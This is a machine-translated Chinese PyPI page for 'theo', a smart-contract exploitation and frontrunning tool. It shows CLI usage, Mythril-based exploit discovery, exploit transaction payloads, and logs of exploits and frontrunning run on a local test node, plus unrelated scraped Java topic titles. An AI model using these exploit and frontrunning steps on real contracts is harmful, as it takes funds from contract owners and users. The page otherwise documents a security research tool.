没有项目描述

theo的Python项目详细描述


西奥

LicenseCircleCICodacy BadgePyPICode style: black

西奥的目标是成为一个开发框架和一个区块链侦察和交互工具。

功能:

  • 自动智能合约扫描,生成可能的攻击列表。
  • 发送事务以利用智能合约。
  • 事务池监视器。
  • Web3控制台
  • 前端运行和后端运行事务。
  • 等待事务列表并发送其他事务。
  • 估计交易的gas意味着只发送成功的交易。
  • 禁用气体估算将发送具有固定气体数量的事务处理。

他从工作中认识。

西奥的目的是打击那些试图成为leet黑客的脚本小子他可以听他们试图利用他的蜜罐,使他们失去他们的资金,为自己的利益。

"You didn't bring me along for my charming personality."

安装

Theo提供PYPI套餐:

$ pip install theo
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]            [--account-pk ACCOUNT_PK] [--contract ADDRESS]            [--skip-mythril SKIP_MYTHRIL] [--load-file LOAD_FILE] [--version]Monitor contracts for balance changes or tx pool.optional arguments:  -h, --help            show this help message and exit  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:                        http://127.0.0.1:8545)  --account-pk ACCOUNT_PK                        The account's private key (default: None)  --contract ADDRESS    Contract to monitor (default: None)  --skip-mythril SKIP_MYTHRIL                        Don't try to find exploits with Mythril (default:                        False)  --load-file LOAD_FILE                        Load exploit from file (default: )  --version             show program's version number and exitRPC connections:  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

从源安装

$ git clone https://github.com/cleanunicorn/theo
$cd theo
$ virtualenv ./venv
$ . ./venv/bin/activate
$ pip install -r requirements.txt
$ pip install -e .
$ theo --help

要求:

  • Python3.5或更高版本。
  • 具有可用rpc的以太坊节点。Ganache对于测试或验证漏洞攻击非常有效。

演示

找到漏洞并执行它

扫描智能合约,查找漏洞,利用它:

  • 启动Ganache作为本地以太坊节点
  • 部署易受攻击的合约(发生在不同的窗口中)
  • 扫描漏洞
  • 运行漏洞攻击

asciicast

前线受害者

设置蜜罐,部署蜜罐,等待攻击者,frontrun:

  • 将geth作为本地以太坊节点启动
  • 开始挖掘
  • 部署蜜罐
  • 启动theo并扫描mem池中的事务
  • 先发制人,偷走他的乙醚

asciicast

用法

帮助屏幕

最好先查看帮助屏幕。

$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]            [--account-pk ACCOUNT_PK] [--contract ADDRESS] [--skip-mythril]            [--load-file LOAD_FILE] [--version]Monitor contracts for balance changes or tx pool.optional arguments:  -h, --help            show this help message and exit  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:                        http://127.0.0.1:8545)  --account-pk ACCOUNT_PK                        The account's private key (default: None)  --contract ADDRESS    Contract to interact with (default: None)  --skip-mythril        Skip scanning the contract with Mythril (default:                        False)  --load-file LOAD_FILE                        Load exploit from file (default: )  --version             show program's version number and exitRPC connections:  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

符号执行

利用mythril自动识别攻击列表。

通过运行启动会话:

$ theo --contract=<scanned contract> --account-pk=<your private key>
Scanning for exploits in contract: 0xa586074fa4fe3e546a132a16238abe37951d41feConnecting to HTTP: http://127.0.0.1:8545.Found exploits(s): [Exploit: (txs=[Transaction {Data: 0xcf7a8965, Value: 1000000000000000000}])]A few objects are available in the console:- `exploits` is an array of loaded exploits found by Mythril or read from a file- `w3` an initialized instance of web3py for the provided HTTP RPC endpointCheck the readme for more info:https://github.com/cleanunicorn/theo>>> 

它将分析合同并找到可用漏洞的列表。

您可以查看找到的可用漏洞。在这种情况下,发现了一个漏洞每次攻击都是一个Exploit对象。

>>> exploits[0]Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}])

运行漏洞

可以通过对利用漏洞对象调用.execute()来运行利用漏洞步骤事务将被签名并发送到您连接的节点。

>>> exploits[0].execute()2019-07-22 11:26:12,196 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': 1, 'gas': 30521, 'value': 1000000000000000000, 'data': '0xcf7a8965', 'nonce': 47} 2019-07-22 11:26:12,200 - Waiting for 0x41b489c78f654cab0b0451fc573010ddb20ee6437cdbf5098b6b03ee1936c33c to be mined... 2019-07-22 11:26:16,337 - Mined 2019-07-22 11:26:16,341 - Initial balance:      1155999450759997797167 (1156.00 ether) 2019-07-22 11:26:16,342 - Final balance:        1156999450759997768901 (1157.00 ether) 

前端运行

您可以启动frontrunning监视器来监听其他试图利用蜜罐的黑客

使用.frontrun()开始监听漏洞,找到漏洞后,发送一个天然气价格更高的交易。

>>> exploits[0].frontrun()2019-07-22 11:22:26,285 - Scanning the mem pool for transactions... 2019-07-22 11:22:45,369 - Found tx: 0xf6041abe6e547cea93e80a451fdf53e6bdae67820244246fde44098f91ce1c20 2019-07-22 11:22:45,375 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': '0x2', 'data': '0xcf7a8965', 'gas': 30522, 'value': 1000000000000000000, 'nonce': 45} 2019-07-22 11:22:45,380 - Waiting for 0xa73316daf806e7eef83d09e467c32ce5faa239c6eda3a270a8ce7a7aae48fb7e to be mined... 2019-07-22 11:22:56,852 - Mined 

"Oh, my God! The quarterback is toast!"

这对于一些精心编制的contracts或其他一些易受攻击的合同非常有效,只要您确保frontrunning对您有利

从文件加载事务

您可以自己指定漏洞列表,而不是用mythril识别漏洞

创建一个如下所示的文件exploits.json

[[{"name":"claimOwnership()","input":"0x4e71e0c8","value":"0xde0b6b3a7640000"},{"name":"retrieve()","input":"0x2e64cec1","value":"0x0"}],[{"name":"claimOwnership()","input":"0x4e71e0c8","value":"0xde0b6b3a7640000"}]]

这一个定义了2个漏洞,第一个有2个事务,第二个只有1个事务。

您可以加载:

$ theo --load-file=./exploits.json

故障排除

openssl/aes.h:没有这样的文件或目录

如果出现此错误,则需要libssl源库:

    scrypt-1.2.1/libcperciva/crypto/crypto_aes.c:6:10: fatal error: openssl/aes.h: No such file or directory
     #include <openssl/aes.h>
              ^~~~~~~~~~~~~~~
    compilation terminated.
    error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
    
    ----------------------------------------
Command "/usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-5rl4ep94/scrypt/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-mnbzx9qe-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-5rl4ep94/scrypt/

在ubuntu上,您可以使用以下命令安装它们:

$ sudo apt install libssl-dev

欢迎加入QQ群-->: 979659372 Python中文网_新手群

推荐PyPI第三方库


热门话题
java组织。springframework。豆。工厂使用来自singleton的同一对象时的BeanCreationException   要匹配ResourceBundle的java正则表达式   java是一个“无限”迭代器——糟糕的设计?   spring数据rest mongodb java。lang.IllegalArgumentException:PersistentEntity不能为空   java中的双向ClientServer通信   windows Java Midi生成注册表错误   MP3播放器应用程序中的javajslider   ajax通过servlet将java arraylist传递给jsp,并根据arraylist的大小创建字段   java将变量值从一个方法传递到另一个方法   如何配置apachevhost。用于从Java获取会话值的conf文件   2个未排序数组的java合并排序   使用Java验证Azure密钥库